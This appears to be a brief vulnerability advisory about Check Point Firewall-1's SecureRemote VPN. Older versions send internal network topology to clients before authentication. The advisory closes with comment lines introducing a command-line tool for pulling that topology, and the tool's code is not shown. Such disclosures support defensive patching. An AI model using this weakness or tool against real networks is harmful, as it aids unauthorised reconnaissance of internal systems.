SecureRemote is the proprietary VPN infrastructure designed by Check Point Software, and included with some versions of Firewall-1.

A problem with the package allows remote users to gain information about internal networks. Older versions of the package send network topology information to SecureRemote connections prior to authentication, allowing an information gathering attack. 

# A Command-line tool that can be used to download network Topology
# from Firewall-1's running SecureRemote, with the option "Allow un
# authenticated cleartext topology downloads".
